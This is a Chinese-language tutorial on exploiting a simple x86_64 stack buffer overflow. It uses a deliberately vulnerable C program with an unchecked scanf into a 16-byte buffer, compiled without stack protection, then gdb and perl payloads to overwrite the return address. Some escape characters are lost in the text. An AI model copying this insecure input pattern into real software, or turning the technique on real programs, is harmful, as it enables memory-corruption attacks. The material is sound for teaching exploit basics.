一个简单的基于 x86_64 堆栈的缓冲区溢出利用 gdb

2022-01-05 10:31:48 浏览数 (1)

背景

C 缓冲区溢出背后的基本思想非常简单。您有一个缓冲区,这是一块保留用于存储数据的内存。在堆栈的外部(在 x86 和 x86_64 上向下增长,这意味着随着内存地址变大,内存地址会下降),程序的其他部分被存储和操作。通常,我们进行黑客攻击的想法是按照我们认为合适的方式重定向程序流。对我们来说幸运的是,对堆栈的操作(堆栈“粉碎”)可以让我们做到这一点。通常,您会希望获得特权,通常是通过执行 shellcode - 或者无论您的最终目标是什么,但出于本教程的目的,我们只会将程序流重定向到我们无法访问的代码(在实践,这几乎可以是任何事情;甚至包括执行未正式存在的指令)。这是通过写入越过缓冲区的末尾并任意覆盖堆栈来完成的。

先决条件

你需要一些耐心,一个 C 编译器(我正在使用 gcc,我建议你继续使用它),以及 gdb(调试器,我亲切地称之为 giddabug),以及一台 Linux 机器或 VM,和 perl 或 python(本演练使用 perl)。

我的环境是:

gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04) GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 Linux jerkon 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux This is perl 5, version 30, subversion 0 (v5.30.0) built for x86_64-linux-gnu-thread-multi

易受攻击的代码

该程序容易受到缓冲区溢出的影响:

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char u[16];
    volatile int p = 0;
    scanf("%s", u);
    if (p != 0) {
        printf("How u do dat?n");
    }
    else {
        printf("Nope.n");
    }
    return 0;
}

在阅读代码时,您会注意到我们分配了一个 16 字节的字符数组 u,但随后我们使用 scanf 来引入用户输入,而没有检查用户输入的数据长度。使用命令编译代码gcc pwnme.c -o pwnme -fno-stack-protector -ggdb。您需要 -ggdb 才能在 gdb 中看到 C 源文件,并且需要 -fno-stack-protector 以便堆栈粉碎保护不会编译到二进制文件中进行测试。

开发

只需运行它并按几个(超过 16 个!)随机键,您就会覆盖堆栈。除非仔细挑选输入的数据,否则这通常只会导致崩溃,更常见的是所谓的分段错误

代码语言:javascript复制
[marshall@jerkon]{11:14 PM}: [~/Hack/bof_wt] $ ./pwnme
abcdefghijklmnopqrstuvwxy and z
Nope.
Segmentation fault (core dumped)
[marshall@jerkon]{11:39 PM}: [~/Hack/bof_wt] $

现在,您可以使用命令火了GDB和拉在我们的二进制:gdb ./pwnme。然后您应该会看到一些版本信息,并且假设您之前使用 -ggdb 在调试符号中编译,您应该看到:

代码语言:javascript复制
Reading symbols from ./pwnme...
(gdb)

为了感受手头的代码,我通常做的最重要的事情之一是输入 disas main(反汇编的缩写)。您可以将 main 替换为从代码中调用的任何函数名称,包括使用的库。

代码语言:javascript复制
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001169 < 0>:     endbr64
   0x000000000000116d < 4>:     push   %rbp
   0x000000000000116e < 5>:     mov    %rsp,%rbp
   0x0000000000001171 < 8>:     sub    $0x20,%rsp
   0x0000000000001175 < 12>:    movl   $0x0,-0x14(%rbp)
   0x000000000000117c < 19>:    lea    -0x10(%rbp),%rax
   0x0000000000001180 < 23>:    mov    %rax,%rsi
   0x0000000000001183 < 26>:    lea    0xe7a(%rip),%rdi        # 0x2004
   0x000000000000118a < 33>:    mov    $0x0,�x
   0x000000000000118f < 38>:    callq  0x1070 <__isoc99_scanf@plt>
   0x0000000000001194 < 43>:    mov    -0x14(%rbp),�x
   0x0000000000001197 < 46>:    test   �x,�x
   0x0000000000001199 < 48>:    je     0x11a9 <main 64>
   0x000000000000119b < 50>:    lea    0xe65(%rip),%rdi        # 0x2007
   0x00000000000011a2 < 57>:    callq  0x1060 <puts@plt>
   0x00000000000011a7 < 62>:    jmp    0x11b5 <main 76>
   0x00000000000011a9 < 64>:    lea    0xe65(%rip),%rdi        # 0x2015
   0x00000000000011b0 < 71>:    callq  0x1060 <puts@plt>
   0x00000000000011b5 < 76>:    mov    $0x0,�x
   0x00000000000011ba < 81>:    leaveq
   0x00000000000011bb < 82>:    retq
End of assembler dump.
(gdb)

马上,您应该会在内存中看到一堆不同指令序列的位置。

您可以通过键入list 11which 应显示第 11 行前后 4 行的 C 源代码来了解您想要放置的代码的位置;你想降落的地方,在 printf("How you do dat?n");。您的 gdb 会话现在应该如下所示:

代码语言:javascript复制
(gdb) list 11
6       int main() {
7           char u[16];
8           volatile int p = 0;
9           scanf("%s", u);
10          if (p != 0) {
11              printf("How u do dat?n");
12          }
13          else {
14              printf("Nope.n");
15          }
(gdb)

我们现在将在第 10 行插入一个断点,if (p != 0)即我们想要规避的条件检查。

代码语言:javascript复制
(gdb) break 10
Breakpoint 1 at 0x1194: file pwnme.c, line 10.
(gdb)

您还应该在第 11 行插入一个断点,以便在您到达正确位置时通知您。

下一部分需要一些反复试验,您需要弄清楚可以在缓冲区 u 末尾插入多少个 A(十六进制 0x41),直到完全覆盖 RIP 地址(返回指令指针)。

当您找到最大覆盖时,它应该看起来像这样:

代码语言:javascript复制
(gdb) r <<< $(perl -e 'print "A"x30')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x30')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) c
Continuing.
Nope.

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb)

如您所见,我们遇到了分段错误,并且在发生错误时,RIP 指向 0x414141414141一个不存在的内存位置。您可以通过两种方式检查:

代码语言:javascript复制
(gdb) info reg
rax            0x0                 0
rbx            0x5555555551c0      93824992235968
rcx            0x7ffff7ece1e7      140737352884711
rdx            0x0                 0
rsi            0x55555555a2b0      93824992256688
rdi            0x7ffff7fab4c0      140737353790656
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffffffe070      0x7fffffffe070
r8             0x6                 6
r9             0x7c                124
r10            0x7ffff7fa8be0      140737353780192
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x7fffffffe150      140737488347472
r14            0x0                 0
r15            0x0                 0
rip            0x414141414141      0x414141414141
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) p/x $rip
$5 = 0x414141414141
(gdb)

现在程序已经运行,崩溃,并留下一些寄存器供 gdb 检查,你应该再次运行disas main,这次你的内存位置应该以 0x5555555 为前缀。

您现在可以运行info breakpoints,您将看到如下内容:

代码语言:javascript复制
(gdb) info breakpoints
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555555194 in main at pwnme.c:10
        breakpoint already hit 1 time
2       breakpoint     keep y   0x000055555555519b in main at pwnme.c:11
(gdb)

所以现在您知道原始 C 程序中的第 11 行对应于内存位置 0x000055555555519b。您也可以查看将在该位置执行的确切指令:

代码语言:javascript复制
(gdb) x/i 0x000055555555519b
   0x55555555519b <main 50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
(gdb)

到现在为止,您可能已经看到了发展方向。我们将要覆盖返回指针, 0x55555555519b以便跳过 p 条件。

您需要重新计算 A 的数量作为要使用的填充,通常是您使用的数字 - 6。

由于字节顺序,内存中的地址将向后,因此为了说明这一点,让我们尝试:

代码语言:javascript复制
(gdb) r <<< $(perl -e 'print "A"x24 . "x66x55x44x33x22x11"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "x66x55x44x33x22x11"')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) c
Continuing.
Nope.

Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) p/x $rip
$12 = 0x112233445566
(gdb)

我们现在准备插入我们的内存位置0x000055555555519b。值得注意的是,前导零无关紧要,应在此处省略。此外,如果需要使用它,00 因为这会转换为 NULL,并且如果遇到 NULL 字符,代码执行就会停止,您需要找到另一种使用现有指令的方法

所以关键时刻,要使这项工作正常进行,您需要更改0x55555555519b编译器在内存中分配指令的位置。可能和我的不一样!

代码语言:javascript复制
(gdb) r <<< $(perl -e 'print "A"x24 . "x9bx51x55x55x55x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "x9bx51x55x55x55x55";')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) cont
Continuing.
Nope.

Breakpoint 2, main () at pwnme.c:11
11              printf("How u do dat?n");
(gdb) cont
Continuing.
How u do dat?

Program received signal SIGBUS, Bus error.
main () at pwnme.c:17
17      }
(gdb)

结论

看来我们做到了!我们终于达到了断点 #2 并且能够执行 处的指令 0x55555555519b,打印“How u do do dat?”。

这个缓冲区溢出是非常微不足道的,大多数需要更多的工作来利用。但是,您现在应该获得一个一般概念,并在此过程中了解一些有关 gdb 的知识。

0 人点赞